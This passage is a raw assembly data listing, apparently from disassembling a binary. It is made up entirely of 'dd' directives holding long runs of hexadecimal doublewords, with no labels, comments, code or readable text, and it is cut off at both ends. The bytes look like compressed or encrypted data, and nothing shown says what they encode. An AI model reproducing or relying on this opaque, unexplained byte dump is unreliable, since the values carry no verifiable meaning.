427B1959h, 0C005BFF0h, 0EFA9ED19h dd 0A6BCC3A2h, 13E6BA30h, 0CBAE510h, 7C7D4308h, 0FE80A002h dd 5F59422Ah, 0F101C7C8h, 0B340B590h, 1DD905Fh, 658A69CBh dd 3307C668h, 87F44F49h, 40845BE9h, 0E381D3F5h, 0B8244A65h dd 5D1A0B1Eh, 0E947680Dh, 0A3E65F76h, 37D89231h, 0CA474A75h dd 4E111653h, 276856C8h, 3DF15712h, 515A908Ah, 30104BCh dd 34C23B76h, 7D80D5DEh, 2114880Fh, 46E5FDEh, 0E827B10Bh dd 83D0ADD7h, 8FD428ABh, 8BD05C6h, 0E912851Fh, 1CE809AEh dd 560BA182h, 3DD55409h, 25E88DEh, 0CE644DCFh, 0EA22F88Bh dd 0F1258608h, 0FABD7482h, 52A53D62h, 0D98D715Ah, 26402BEBh dd 40B13C1Ch, 9E0DF84Eh, 820F0E7Ch, 0E6D9EDA9h, 0C5B0C864h dd 5C5009B6h, 2544C683h, 0E107A1h, 2C0FCFFEh, 81E4E38Bh dd 0E9DEC780h, 0B2C38BBh, 0F9763268h, 839A8922h, 9B888451h dd 0FD5B17C7h, 866786C0h, 0E2D10F18h, 0D7BA6851h, 4B57E84Ah dd 0C40C00E8h, 10DAE71h, 0E93F53F9h, 0D359D82Dh, 45AA3924h dd 2D824857h, 4EA68E0h, 0D0E7C85h, 0B54FC81h, 615F5E02h dd 537B210Bh, 395253D5h, 7AD96F85h, 4CDFCA7Eh, 9AC927CEh dd 860405Eh, 0C393C9A7h, 0E744585Ch, 4604E5A8h, 0E45D8E0Fh dd 7304F664h, 898DCBE1h, 0A4F5CC81h, 85199005h, 68804DC1h dd 6F2355F0h, 9DFD020h, 506F4F29h, 0BF624E89h, 4B151655h dd 0AAFC8496h, 0CBE090C7h, 7ECD0CD4h, 0C4305B6Ah, 5AB091ABh dd 0C5C607C8h, 20FEA06Fh dd 8A16C2DAh, 0F5685CCDh, 590B13C7h, 5EF8130h, 9AC1BAB1h dd 0D86E2FCCh, 1B65FD67h, 16AAE1C1h, 809E34D8h, 0AF0F1C72h dd 0D7295509h, 0C80845Ah, 11A10501h, 7AE1C626h, 7032C0D0h dd 1E00A4A2h, 0F8577BF7h, 3EC97A4Fh, 328843E8h, 48C25B7Eh dd 0FA66945Ch, 57875E8Bh, 0B3D41291h, 69332032h, 7F5C0631h dd 57E1F662h, 722DBCC6h, 0EAB3596Ah, 9858359Bh, 0B75A85FDh dd 0AB682E05h, 997C45EBh, 0D150938Eh, 6B8415B9h, 7BE2C197h dd 3A7B664Fh, 0F65A8B54h, 86FC9214h, 2248F606h, 0B1408436h dd 1A2F9E64h, 0C8F495B5h, 0BFDEE9F0h, 0D3A0BF89h, 0BBF3F72h dd 29CA07B5h, 71EB603Fh, 90482B3Bh, 0C4964AABh, 0CDABBF1h dd 0E2F4E909h, 2514B47Dh, 2C5B3617h, 6912D79Fh, 8F7805E1h dd 0AA904930h, 809FB417h, 0B9244FB8h, 0A0214BF3h, 470FC5EDh dd 0E7088856h, 0F273F8F5h, 3E9E061h, 765D7C72h, 83AD029h dd 0C23CF37Dh, 4F3ABB26h, 50D8D92Bh, 17BACA20h, 0BC596855h dd 4DBFC0E8h, 244E055Eh, 480D7F7h, 812F3D10h, 38988CEDh dd 68AD4E09h, 0C66B1EC8h, 5A2D050Bh, 0A83DB236h, 5907406Eh dd 8D6F39Dh, 792729E7h, 0C00DB4DDh, 5F4168C9h, 76D2DA94h dd 0BF7B00B0h, 1EE8345h, 9366CDFFh, 81702913h, 9CC14DE9h dd 0EB094F46h, 0B801A625h, 0F9DD18EAh, 0B1BE3E7h, 43022C34h dd 9312D885h, 0EEECC108h, 7C0A7400h, 9056671Eh, 77A59D1Fh dd 6531EE5Ah, 0B022E9F6h, 2C072775h, 0C3465C51h, 5D234F9Ah dd 6FE682E8h, 124A34BEh, 909E9B84h, 2DEB9B3h, 4C26B52Ch dd 5512D842h, 0ACB1CD22h, 4109C55Fh, 4D508D68h, 5DF30AAh dd 3F02479Dh, 0EBFCEE2Ah, 8C3B7ECDh, 34AD55C6h, 0A648DBA7h dd 0A58C2C2Bh, 23A800F9h, 149FA20h, 7F01E2B9h, 93CA8957h dd 74575969h, 81032AECh, 0E22AE3E1h, 0D3AA860h, 0EC521A25h dd 0B30A5EB4h, 9DBF8053h, 26F952Ah, 6AD56568h, 15425E90h dd 1F6CB77h, 89781E0Ch, 0F9FE013Ah, 0A0844C6h, 0A5FEAA90h dd 0F5019B76h, 0FC307F90h, 7DBCEDFBh, 8134924h, 60AD889Eh dd 0B215C3B0h, 298E2013h, 0CB8F5C3Eh, 50A277F8h, 0E0D1AFA0h dd 473E0A2Dh, 0E614CB3Dh, 5AAB0047h, 91E944B3h, 201C9728h dd 494ECEFCh, 68C27FA9h, 18DD0DD9h, 0E6535621h, 4080907Eh dd 8103423Dh, 2829CCEAh, 0CEAE9CBEh, 4165133Bh, 4E06B1A3h dd 3C26EF60h, 0CBFAD97h, 18862421h, 0D6C3F7E9h, 5ADC041Ch dd 0D00E9CDCh, 81A2962Ch, 6653AC00h, 883CB450h, 5BA8E34Dh dd 0A25AC48Eh, 0F19610B4h, 9EEB881Ch, 0B64E4DD8h, 0FBE62B12h dd 618BB24Ah, 4B0F68CAh, 11E3CF88h, 0DA5F1B2Dh, 0CB5B7E5Dh dd 0C2163E0Bh, 8413CEBFh, 5DE324B5h, 948AC2ADh, 97C01CFFh dd 2E66A919h, 4C1095F2h, 272E757Dh, 818B5508h, 0AD5376EDh dd 0A0254870h, 20F76CCDh, 5C52B59Eh, 20424CA0h, 800F0933h dd 0E173F01Fh, 155C00EBh, 12069B78h, 0B889840Fh, 77E84A22h dd 87EADDA1h, 0EC9BE81h, 9470E49h, 8CCADE6Ah, 0C6164983h dd 0BA3AD03Dh, 0BE99729h, 0FEFCEA4h, 0D273CBD4h, 92D3FBAAh dd 0C38715Fh, 109C6B11h, 50CAF4E1h, 0A2F68B53h, 156F607h dd 646047B4h, 8A916A29h, 506C36E9h, 2FB0BC4Eh, 929F0558h dd 0F13BC9A1h, 0D0537FB9h, 0B800B2B6h, 568D42F7h, 0F1056857h dd 5F273E71h, 90E08F97h, 0A010E73Bh, 8B9A6BAFh, 0B6D3B4F8h dd 70A0A34Ah, 0D638F9C0h, 82540B92h, 48775B43h, 0A0909D2Eh dd 66370A89h, 266674D3h, 3B167DFh, 5134474Eh, 0EA096C16h dd 957BF7A2h, 0F77E82C2h, 0FC6AB11Bh, 0B6FD98FAh, 85C9CF5Ah dd 53F3E42Bh, 4B76BB01h, 57430860h, 25A280E2h, 0B832C20Ch dd 647700BCh, 0EE3107B6h, 0E64EC15Dh, 0EB7221BCh, 0B5F1BC15h dd 9AE4888h, 5D430745h, 3EC33942h, 3A00895Ah, 0B7D29842h dd 5FF80131h, 0D9165135h, 7A877F7Ch, 0FB95B083h, 0E4384BBDh dd 0B3BBE15Eh, 0D40ED889h, 3BEB51E9h, 0B1E82014h, 51E9C129h dd 0A35E8F78h, 18A04C02h, 0C1D9D976h, 0BEC612C3h, 5612836Dh dd 6B9062F9h, 0BDB0DCD8h, 0C19012ECh, 7DB49534h, 0F39FC0BEh dd 0C83C65D2h, 231CCF78h, 7D667B9Ah, 68840165h, 0C4EC127Dh dd 0E92EE2DEh, 5094D7DCh, 697807D4h, 0D1C36AB5h, 5E5026F4h dd 51214272h, 0A8F4254Eh, 17602B58h, 84095702h, 2F2FC58Bh dd 9613E847h, 46E87184h, 1C52596h, 0F0466321h, 0D818217Fh dd 4E10A06Fh, 0E326EB09h, 83CB16D8h, 9495E990h, 5990EB37h dd 26E17818h, 20715D79h, 0B8E92F07h, 0A836A89h, 0BBDD3094h dd 5E846D2Ch, 71BA8C39h, 0EFD59B60h, 5C4FC1EDh, 910BCD46h dd 72F42177h, 120BA62Ch, 6FDB5620h, 0EBF6282Bh, 12C6555Ah dd 0C5A95F4Ah, 74F3EF80h, 0E91619D1h, 62B91B31h, 5E6EB2D6h dd 41F40109h, 42B5B94h, 0C22DED21h, 0B5D3023h, 0B95A1656h dd 1CD80A5Ah, 0AB16BBFCh, 0C50A202Ah, 0F53E7156h, 82A21222h dd 25EC2A29h, 0C667BDF2h, 2C132117h, 5C8622EAh, 0E4068C41h dd 0D3973E4Ah, 0F8661682h, 37315AF7h, 6B33B2ACh, 0C920F44Ch dd 0D9215E1Eh, 777D9709h, 57EF5D31h, 7F8EE3B2h, 478F0A0Fh dd 79D30640h, 0BE83C2Dh, 0CDCDEE1Ah, 0B074647Dh, 0CA862FAEh dd 6C427A51h, 42702822h, 61C0C90Bh, 0C882E12Eh, 0F2BF5726h dd 4AF10065h, 0D08CF81h, 4AB55361h, 0D64B4041h, 0A40E2492h dd 0AFBC1257h, 63681F30h, 0F4B4B70Fh, 2B666815h, 8D2D18BDh dd 4FEF2ADh, 89647817h, 7C8FEBD3h, 27DC681Ch, 0AECC82D6h dd 1A491964h, 0C64F9E3Bh, 761FF1E1h, 7D8107C2h, 93D2348Dh dd 73AE748Fh, 0DE78A3F2h, 889B5477h, 3399993Eh, 0D9EE3883h dd 20828240h, 0FEF60802h, 0F59D8469h, 0D56B900h, 0BA516682h dd 3EE5E1C3h, 6281050Eh, 0FDBB723Fh, 63FBF286h, 470F1798h dd 6B62BF0Ah, 819A5C8Dh, 0A57EDDBAh, 0C8974075h, 4F5EEE0Fh dd 6BE58D90h, 4228301Eh, 4B1AA4B8h, 0C2011017h, 60EACC0Fh dd 3196B7F8h, 14E916D6h, 0A757A840h, 1C34A6C3h, 0C568566Fh dd 310B5A6Ah, 38ACA6Dh, 8B5C5909h, 9760FB51h, 213500A2h dd 0B9515EF2h, 7D35CE0Fh, 40EF80FEh, 0E9CA0173h, 0C8BFC680h dd 0BBD2A381h, 817ABCD2h, 41FEFC81h, 91DA42Ch, 28F72708h dd 784C20ADh, 4C834632h, 5F3EC04Eh, 9114F79Fh, 230B105Ah dd 96FC4E46h, 938CACAh, 3F448C57h, 0EF480FF0h, 79F892B5h dd 0C8520B07h, 5FF0E50Dh, 7C77DD9Dh, 86890834h, 0ADE15BECh dd 0F0D7A9E0h, 1A30064Ch, 110122ADh, 0CA46CF8h, 0F17D5869h dd 935C5982h, 740D54CDh, 0B33F7ED6h, 305136Ch, 0A6935EE2h dd 85DC5CCAh, 0AAB45BDFh, 0AC777F29h, 904198F7h, 4C060DCDh dd 60A737F3h, 0C48679C2h, 0C8DA318Ah, 771C447h, 0B7BD734Eh dd 0E0DEBA01h, 358CE9F6h, 27346D0Dh, 62F50BE4h, 27917634h dd 0A3218740h, 0C1F449Fh, 0C7FE91B7h, 81623A34h, 0DDE7C01Ah dd 16EA1C09h, 5D16E154h, 0C3A16DACh, 7496216h, 1F566B0Fh dd 57C438B2h, 7068C721h, 846A5522h, 3F05A1CEh, 0D41104B2h dd 25864CEAh, 62DA7692h, 8001A750h, 0C3CC93E3h, 2506C4F3h dd 0C704EA08h, 66057D30h, 0B31B95Ah, 0C610E568h, 0EB8037A8h dd 82026477h, 74090DD5h, 8CB5EB6h, 0D6B23254h, 3B4CC260h dd 4887E903h, 8C002DFFh, 3155D212h, 66905AD7h, 50C5305h dd 0BC860914h, 0FF770424h, 22917F5h, 5F2298E9h, 4EAF0BE5h dd 281D2873h, 0D8A19F14h dd 7803A268h, 44E9C467h, 0D3353DA8h, 5A6506BCh, 0F72CA276h dd 0E21016DBh, 1C57210Bh, 0F6820E29h, 0ACA9CE9Ah, 0A1A588E3h dd 8708158Fh, 0D151F7AEh, 0F6793A68h, 0D3EDDE6Bh, 0AAFE021Fh dd 8D9E30EEh, 83F5C72h, 8712C3B0h, 0C2F604AAh, 0A8C0EBDCh dd 2548F52Dh, 0EDD04262h, 61650782h, 629CFCA5h, 0D95029E9h dd 0E8DFF728h, 0F504CF79h, 5A870F47h, 97C4DA9h, 1F1084D7h dd 9A259375h, 14A957FAh, 38592620h, 292511EDh, 0A0D5517Ch dd 655F5C0Ch, 5ADA010h, 525AF730h, 0D41D4A82h, 758A49ACh dd 0BA1EB0B0h, 45253649h, 0CA92516Fh, 0C9FB1E15h, 7F064AEh dd 7D5FD809h, 0B20B5D7Ah, 95EBE100h, 7794E4B4h, 38044317h dd 0FB13D78Eh, 55660D22h, 68851417h, 0A04418E9h, 0A8A9D96Ah dd 0E9E12D88h, 0A448FE2Bh, 7201F299h, 8163BA57h, 922A5A08h dd 1564DD9Eh, 0E564ED03h, 0E14DB0AFh, 0B3887AE4h, 91262C4Fh dd 0BF0B9C02h, 117D3269h, 18254E8Bh, 0B0069230h, 45AC1CDBh dd 0D52985FAh, 8BE7145Ah, 0BA74E80Fh, 1E3CE9A2h, 0A0CFAC0Fh dd 0AA071FF0h, 0D5554943h, 0FEDF8625h, 9A3C9900h, 0B29ABA9h dd 10D8E9F9h, 45CF6DFCh, 0A4534222h, 4FBCCCE0h, 5DC9ACh dd 856DEEDEh, 5D13544Eh, 0CB022AAh, 4FAB32Eh, 43B7B7h dd 0A027F435h, 0C083171Fh, 0EE0E001h, 9B5B7540h, 6BD42736h dd 5CB70F78h, 0A6712FC8h, 63E919F3h, 88B24674h, 2C2FBC72h dd 0DDDF1811h, 98F01FB8h, 32F0A5Ch, 23AE11C6h, 26E0BCE9h dd 87589DC0h, 663AD02Dh, 301A26C2h, 256F24A8h, 0F904C66h dd 5E545613h, 30703DFEh, 2B963F12h, 3EB3E48Dh, 8BC0F22Ah dd 7D4C4921h, 0FB3B18FFh, 0DBBA2E73h, 911BC77Ch, 50E8D129h dd 13A3489Fh, 0AA435F3Eh, 0A4B27744h, 2BF9BF00h, 48F46E7Fh dd 0A0544B97h, 765C463Eh, 0EFE7034Eh, 4F03167Ch, 0E424A04h dd 0D806801h, 275F0BE9h, 42DE2187h, 970A3F83h, 9EC9F809h dd 4C7E3E5Ah, 1F91E102h, 6B5870D4h, 8439F1FEh, 29A00F2Bh dd 0B67544CFh, 0C1819CBFh, 5A0B24F4h, 88D90126h, 5B120850h dd 0E090A0A2h, 4E419710h, 0B5D6258Ah, 7E73D5E6h, 157DE0CEh dd 0B82CD366h, 0DC734812h, 0B84850E9h, 6D4B13E3h, 1D3091A0h dd 42400E5Ch, 52A6A3B5h, 0C40CC65Dh, 0FC0A99A4h, 11E4D359h dd 61C960B3h, 84132CF5h, 0D407E29Ah, 21357267h, 0F8C8E9C1h dd 4AC2696h, 177C3D32h, 0D820AAC1h, 4DEDC204h, 6A60AE3h dd 388185Eh, 0B18F4E66h, 4B002B4Fh, 0A62C0DB6h, 4F03A28h dd 3EF97Dh, 6467B9A4h, 0E0A06B94h, 0BE091C92h, 0C323E957h dd 72BFA962h, 23C40AB5h, 155EB54Bh, 8753134Bh, 9081C79h dd 0E8D6895Ah, 1DE3BF01h, 2A203835h, 0A7D11656h, 690FE8F9h dd 6E097506h, 26A1AC46h, 3C1ECB47h, 3F4231CDh, 0FC9D71E9h dd 262D8BE4h, 0FD29FC03h, 882EDC2h, 1E42EF87h, 0BB010B56h dd 7DA2197h, 9432CBE8h, 6AF9505Ah, 53307100h, 403E5E68h dd 4FD3A44Dh, 59900B4h, 3F6D395Bh, 58C3311Ch, 0A208D8D7h dd 9DFA202Eh, 6B6F7251h, 52304C02h, 18169D30h, 17D4F3FEh dd 122D0BF4h, 4AA136A8h, 0E4D3E836h, 5ACB8F00h, 5A2949C0h dd 3958AF8h, 8042442Dh, 2A4EA854h, 27FE90C7h, 0E9EE7470h dd 870C8365h, 0AC0B64BBh, 1E9C645h, 9D8B5A39h, 38B9F937h dd 6DF64BF6h, 75A9680Ch, 45595923h, 45B0ECAh, 28494117h dd 51D02CD8h, 3FB37A53h, 7FF9DD88h, 7F347F19h, 2870E9E8h dd 60E56BE1h, 833A9E56h, 5615551h, 0C88DDB07h, 0B558C689h dd 0E0ED3563h, 79282E57h, 4195EC88h, 0CA3B0544h, 18D25E9Ch dd 0F38CEB0Dh, 51C880E5h, 80A90EB5h, 0F5663FCDh, 595C8E5Ah dd 0B1AE200Fh, 187D0091h, 4C293E30h, 0FB0C828Ch, 0C6E905A5h dd 354FAA06h, 40E60655h, 0FCAB8099h, 9A2DF61h, 0A27ABFC0h dd 23D28D15h, 282007E9h, 88B2546Fh, 5F2F5A74h, 799CB4E8h dd 0D1613B66h, 850F2764h, 0C600FBA9h, 4A1C71DDh, 59CA8902h dd 5554372Ch, 1F990A13h, 967F7297h, 0C1A4B2F8h, 2C0EFFDh dd 2011DF5Ch, 0FB91AC19h, 461B428Bh, 5B0A95F7h, 7236E21Dh dd 30D60909h, 9D85CC92h, 8EF0E2E4h, 0FE70095h, 9A96AB89h dd 0D972254Ch, 33C6A9D1h, 96E97151h, 0FA5B124Ah, 0CEB82B60h dd 3AA72E54h, 1F2D803Ch, 31F7210Eh, 9E30C64Eh, 8037E3E9h dd 81EEE688h, 30B3105Eh, 0B124F893h, 0EA0490B0h, 0FA2E911Ch dd 9655F646h, 52801E3Ah, 0C4D6B97Fh, 5DBF7D3Bh, 0FC5CEDB1h dd 2164F5A9h, 7C48D181h, 1C477207h, 0D88BD282h, 57EB8102h dd 0AC038EAh, 82826FF0h, 0DBD86E23h, 5DE985C1h, 0DFCC4ECBh dd 0CD0F32E4h, 2A12C514h, 5203DECAh, 0E6893BAh, 0D2EAC0CFh dd 24DDDD0Bh, 4D2CE380h, 1FBB5344h, 17E42FDAh, 16CA8131h dd 9C217B12h, 986A5455h, 0A85AE9C7h, 0E62FECE1h, 267A6352h dd 63722768h, 0BE1A7818h, 3EAD180h, 6492E281h, 0C7E9014Ah dd 65039E6h, 56D15BBCh, 219C0CA0h, 0E10C709Ah, 1C270112h dd 5AE2B190h, 0CC287138h, 0F2240712h, 0FC4A2412h, 0A3AF40BBh dd 29725E46h, 1C55E9F0h, 41843AF2h, 5C2C6082h, 0AC6E25E5h dd 7FA2DB80h, 55610EAAh, 0CE04042Ah, 0AA52C15Ch, 0FFA9A475h dd 5EC06625h, 165BBE68h, 91FE8B8Ch, 705F1E0Eh, 20685B5Fh dd 77646D5Bh, 6D1AA80h, 51300CBDh, 310DD5B9h, 7159C82Ch dd 40C1E90Bh, 0F870B8E3h, 0BA624C5Eh, 14D5497Ch, 3C85BE03h dd 3FD16ADFh, 0E31587ADh, 7C3B72CFh, 4EF62550h, 9EF4888h dd 85E8D7F7h, 1A4D8F8Ah, 0ADE70285h, 41633150h, 392C9F99h dd 0E3A5E93Ah, 14ECE571h, 0A54F1D9Fh, 1DC38047h, 2918350Bh dd 4595EB58h, 2E3C6108h, 978929CCh, 0E7ECDD44h, 2C3FBABAh dd 52C52CFBh, 8BD0592Fh, 0DCC3D6E9h, 0F97EA3AAh, 8D9E8628h dd 5255A072h, 3116DA61h, 290B5635h, 4C3D2EC7h, 0E909B939h dd 125F0E3Ah, 4C60D720h, 6EE04DEFh, 0F6C4F095h, 21C402C7h dd 0C1835EF1h, 0F770F268h, 2985150Bh, 1A5A04CFh, 0B82616BFh dd 0C105B5F4h, 9DB46DD0h, 1808682Ah, 720418CCh, 0E3203078h dd 11731F27h, 24746D31h, 8E49DBAh, 54B11996h, 7F027942h dd 0C694C8EEh, 57DFD439h, 0B4881190h, 65EEEC0h, 144A30F7h dd 5C10D8B1h, 0EF8002BAh, 0D7862CC2h, 5B8BBE0Eh, 0D689B25Fh dd 6AB562EEh, 8864DBC0h, 0B1D3EE4Ch, 0C57BF028h, 84D4F8C4h dd 0D5B50EF1h, 0EC21F52Ah, 24958BD2h, 1FAAA87h, 80D6F63Fh dd 569A60EEh, 0EF373660h, 7B130FA9h, 0D2B2F07h, 92BDF0FBh dd 16B4B1BFh, 0B3025EC5h, 1EE9C4C8h, 0DCEA09D4h, 2E801CC2h dd 2DA29719h, 0EE20C478h, 0E5F73F73h, 1B8813Eh, 8B616FCDh dd 0A32BE6D1h, 0EF3E1767h, 0F10DE835h, 0B6F8CD20h, 0E64B4839h dd 0FE325C13h, 8CC77324h, 51A6A2D9h, 6659039Eh, 0CFFC1E4Bh dd 0EA028A9Fh, 685181F6h, 2A160475h, 0FED9A6E0h, 0F0719A92h dd 47101D05h, 0C8290528h, 5B07142Dh, 6BC17838h, 91456AA3h dd 9478916Eh, 838A7E12h, 302DF546h, 8439087Eh, 2375E926h dd 182CAEA3h, 57F6A77Dh, 22EC3F44h, 1F2BB925h, 5D03F5F0h dd 113C9A2Dh, 7F70A824h, 1290ADBh, 280705F0h, 13375E6Ch dd 0F4E7E8FBh, 79CA61AFh, 4A753E26h, 0F602C2CDh, 82AF0E18h dd 0FF40BD9Ah, 5807C301h, 7B632D5Fh, 7E056A10h, 0F4C07716h dd 0E84E1D29h, 28D81F2Eh, 1140F907h, 120EBD55h, 0B03B937Ah dd 693CE58Ah, 631AC04h dd 0EC88FD00h, 4AC52995h, 3A33B858h, 0E9D80A5Bh, 76BCED5Ah dd 287EF4A2h, 28FE536Fh, 0F452E9E0h, 0C2E20384h, 0D971C146h dd 178025D9h, 5616D1EBh, 6805505Ch, 2E8A2D48h, 0F93F5FC1h dd 2269B800h, 404F9917h, 0E956A08h, 6AFE565Ah, 0FCEBE08Ch dd 50659A99h, 951CC75Fh, 74FB6789h, 34BB50C4h, 0AAAC12B9h dd 5B66683Ch, 37118185h, 20AD056Bh, 0C9D3E396h, 2A9BC466h dd 0B79A21DDh, 59C28080h, 5E60D342h, 29573F0Ch, 0DA012C21h dd 0D00820FAh, 5B26140Ch, 2910CBB0h, 0AD27E950h, 37EF5BAFh dd 0E4E6361Ch, 0E45F0A09h, 30D40475h, 73574416h, 0E18BEAB4h dd 0A5E8CD5Ah, 8999716Dh, 0A452C181h, 12EB0148h, 0D9E9F24Fh dd 5B8888D0h, 5370A0C9h, 9F90AEE9h, 0F8592524h, 0DC5AB17Ch dd 0EB28F750h, 95F2E480h, 0E927A6CCh, 0F8798925h, 434E0FE9h dd 0AF842A68h, 10EEA9ABh, 0B04EF59Ah, 0DF982130h, 0A5CE9E2Dh dd 2FD6AC0h, 1A60BFD2h, 1D1FDCC3h, 0AE296DA1h, 2F082093h dd 0FED09BE9h, 6F6FF3B5h, 23599CA9h, 9AAC5293h, 3EEED31Fh dd 0CD5EB3DBh, 8B609B02h, 0ED6E1EACh, 0BC7EFD31h, 7FFE80FDh dd 0F329FFF4h, 24166C9Fh, 63D07CCEh, 0BFF4478Fh, 655C433Dh dd 0F1D24C31h, 0F0D8220h, 8988F289h, 3A9F20F0h, 47970343h dd 5BE522DAh, 0EC25B14Dh, 0BFE5306Ah, 376ECD4Bh, 0E1276F27h dd 0B7610FEFh, 90526F34h, 0F6EC3C5Ah, 0C2897785h, 7A71E158h dd 0BE135112h, 52008A8Bh, 0C351A5BAh, 0D435E94Ch, 1EFF6CDDh dd 97BC0CB2h, 2BF4EF7Dh, 0A02E0B2Fh, 854A994h, 0B8E4FD52h dd 9DAAE05Dh, 3A4FFF0h, 0B14364BFh, 9E9622Ah, 62C0FFEh dd 7C44D2CCh, 2E3EFBECh, 0B4BA2ABCh, 1F8F0F13h, 61BB7552h dd 0E16162h, 4B68F70Ch, 0DE32E8CDh, 5F10E20Fh, 0C39D0ADh dd 53951A46h, 144EA44Eh, 0D08193A5h, 2EDC15Dh, 0A823E5E9h dd 0CC9F6E7Fh, 0FCB33BEFh, 0F380CB80h, 7CE95181h, 0BD047E9Ah dd 79F62BA5h, 36804FEh, 72CAFF9Bh, 0AFE1E42Eh, 0EF0F59F3h dd 3859EE1Eh, 0E4FEAFDCh, 91E9137Ah, 4F9BA2ACh, 68C2EAE7h dd 7F901F43h, 0BE6630h, 2F03214Ah, 0B71DD74Ah, 0D65414F2h dd 41C7604Dh, 295F2C9Fh, 13D27021h, 6A009D6Eh, 0A24ED19Eh dd 8A9D33Bh, 3739FF86h, 5DBBE109h, 0E9AF820h, 499F6FC8h dd 8345AFD2h, 0F92CA4DFh, 89AC5ACFh, 0DEDD60AFh, 0BBED27C5h dd 7F2DA30Fh, 0ACA878D7h, 0E1FA37C9h, 64B008B8h, 2AEDF0ECh dd 0AB8A6080h, 2D809AE0h, 99EC132Fh, 4BEE8101h, 1068B60h dd 804FE75h, 7A12BDC4h, 0FE20D109h, 3CA371D9h, 0C1800EDAh dd 0BED10EA7h, 2C5A8EFAh, 0C874A52Bh, 0A0F4D08Dh, 0EAE9CEF7h dd 3008D5ADh, 7A00337Dh, 2B05CA73h, 9053A469h, 5FD50AF3h dd 1090433Fh, 0B312DFBh, 67CB0C2h, 0EAA1C008h, 93E1DD3h dd 705A4A7Ch, 39EF3D13h, 0F18B2A3Fh, 1AEEEA27h, 515625AAh dd 0E9F7226Fh, 0E817075h, 0D527B4BBh, 4469961Eh, 0AED35C76h dd 0AF67CF48h, 0ADC401D9h, 0C69988FFh, 58435B07h, 0CF6A2974h dd 73A00820h, 7A0017CEh, 3FE32504h, 0E3505F8h, 6E0F3C68h dd 20D857C0h, 0C65C01C3h, 0E35A10ACh, 0E02BE174h, 7F5E03D6h dd 45AD0A75h, 0B8A1EC5Bh, 689537E9h, 33DCE145h, 1DCC662h dd 0AABE57CBh, 222FD984h, 0D851AAh, 28F66857h, 5F5A52E4h dd 470BE5ACh, 9D286DE9h, 0C2F9C7DDh, 0F5CAE2BDh, 180B8777h dd 0E316550Bh, 509590FAh, 3DF5B343h, 8050FEAFh, 904D72ACh dd 3A2E7F6Eh, 72EEB266h, 3AF63DFAh, 4F6FF800h, 5FE969F7h dd 1EFC537Fh, 5EE96FCh, 0BEC041A2h, 3E608ACEh, 76911E70h dd 0A99081B2h, 0C7A5D62Dh, 2D4276Ch, 0C8528C02h, 42625D3Fh dd 589DB378h, 0FFE0A0B4h, 0D2F73416h, 86C80004h, 0E9A7EDE2h dd 54175F25h, 800F5803h, 0D49A982Dh, 0E6EC7668h, 0D13CD801h dd 0AF8FE97Dh, 0DBC6E380h, 0F70392Fh, 608C27h, 4DE94E94h dd 0AE4EBD27h, 0F38BF297h, 0CCE91384h, 0AD38AAE7h, 7CE82568h dd 5DE498F1h, 0CD2D4FA8h, 0E9178FF0h, 0C85FCC5Eh, 8A2B947Bh dd 9B1287CDh, 12FF9015h, 224419F0h, 10926247h, 211F6539h dd 44E612D8h, 0A04149EBh, 4B128440h, 80B116D4h, 7C11E200h dd 5C016961h, 3DBFDD21h, 13B13818h, 4BB29FADh, 80685305h dd 26D2503h, 5D14DC44h, 76E8B880h, 8BB54763h, 91554FBh dd 10FD5C31h, 5A38E953h, 0C22DBCB2h, 0DFEA806Dh, 8157B009h dd 0D528C8B2h, 0EDC110BAh, 4A08835Ah, 9F07E5C0h, 7C2003D6h dd 97F50501h, 0F059E830h, 0C3FA89D6h, 0B450B90Eh, 39F4CE6Fh dd 0E3C1A012h, 0DBC4B13Fh, 3F61EBE1h, 0E1D761F5h, 25705859h dd 8E0F0A71h, 89AA0C22h, 0B95BC414h, 49B4D4A5h, 3C20AEE0h dd 972CDA12h, 45B611F0h, 6FC765A3h, 0BBC03BB3h, 7AE655A7h dd 39C18102h, 804E1A4Bh, 611C08F5h, 50CC102h, 2E4C8241h dd 8C1400Ah, 14240C34h, 79FA2013h, 0AB4B3BCDh, 1DEA0457h dd 29C764EDh, 0D565D5F1h, 8D80ABC9h, 3EC83118h, 7A985696h dd 4B2CDCD3h, 28CF3416h, 40D91AB0h, 3E9229EDh, 5CCD45Ah dd 5F9B402Ch, 0F1C82925h, 17936AD1h, 6C82366Bh, 52319825h dd 5D82DCBh, 0F97B2CDEh, 60A063BCh, 0B846B70Ah, 30D83139h dd 0F06808C3h, 42669773h, 0F637FC09h, 48018101h, 40EE2D08h dd 9FEB4701h, 0B120B994h, 2C5B7688h, 524D92A9h, 0BA2CAC84h dd 0FCB52F77h, 76F94194h, 924394F7h, 4B57B83Dh, 0EB50D182h dd 49D36038h, 0F45AD4D2h, 9AF6DF4Bh, 9DAC513Fh, 2DADA607h dd 5EBA1398h, 5D952717h, 585A9E06h, 202598E0h, 212EE1E7h dd 69CB54C8h, 0FD57CDE8h, 68287720h, 6046BD9Ah, 781427F0h dd 25D760EEh, 0B2D70255h, 0AD07D51Bh, 0D4EA07D0h, 0B9F1E061h dd 0CD48102Ch, 32176A2Ah, 77001753h, 230D4A44h, 0ED9CA14Fh dd 0A001806h, 81223C35h, 7837AFF7h, 0C3295AEAh, 13D4A265h dd 0DB18CDACh, 68560E8Eh, 40009272h, 0EEC15E24h, 4E8B0F08h dd 0FA2FC43Eh, 0DC8DC271h, 0B2E6946Fh, 0BAE90987h, 73C2E415h dd 0BCF70B81h, 0BD80CFB5h, 5E964F86h, 0C2148D9Eh, 0EE294E08h dd 0E981CC2Fh, 209EBE24h, 810A2F58h, 7C59D855h, 0FFE11A9Dh dd 0D2588F12h, 6A5F32A0h, 0D102C707h, 0A7E4E9E1h, 0F254AFCCh dd 0BFA9BA1Dh, 62273968h, 165DE6F1h, 0E27C2514h, 0A5DFD41Ah dd 2AC85E92h, 0CD719D66h, 2250214h, 0CB5598F3h, 1A52E148h dd 0A6DBB00h, 890EF40Bh, 817445DDh, 5E8C0BEDh, 0E9887BD8h dd 0CB320E9h, 0A6E8312Ch, 0A10B5Ah, 0BD491C07h, 0E3E816A2h dd 77830DB6h, 0E189292Bh, 332B2C87h, 0B947AE6h, 0C30A05B5h dd 16EB3981h, 0B05098C3h, 0BFE7A0Ah, 0E02CD0F6h, 0D55293D7h dd 0F3061987h, 5AA0050Eh, 0D0BB01E9h, 56778645h, 0E85B022Eh dd 0F806693Ah, 0F32F20AAh, 94D5E92Ah, 46FB050Bh, 0F9260B98h dd 806B8B8Bh, 0E8C2E79Bh, 0C8255EAh, 3051B1C8h, 2315844Ah dd 57E55E9Fh, 0D354BFE5h, 8B23C5FAh, 22BA2AE5h, 0FE99EAB5h dd 